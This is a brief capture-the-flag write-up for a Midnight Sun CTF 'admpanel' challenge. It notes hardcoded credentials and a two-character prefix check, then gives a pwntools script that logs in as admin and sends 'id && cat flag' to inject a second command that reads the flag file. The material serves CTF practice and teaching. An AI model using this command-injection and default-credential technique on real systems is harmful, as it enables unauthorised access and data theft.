Username and password are hardcoded in the source and the strncmp checks that the first two chars must be "id".
```python
from pwn import *

s = remote("admpanel-01.play.midnightsunctf.se", 31337)

s.sendline("1")
s.sendline("admin")
s.sendline("password")
s.sendline("1")
s.sendline("id && cat flag")
s.interactive()
```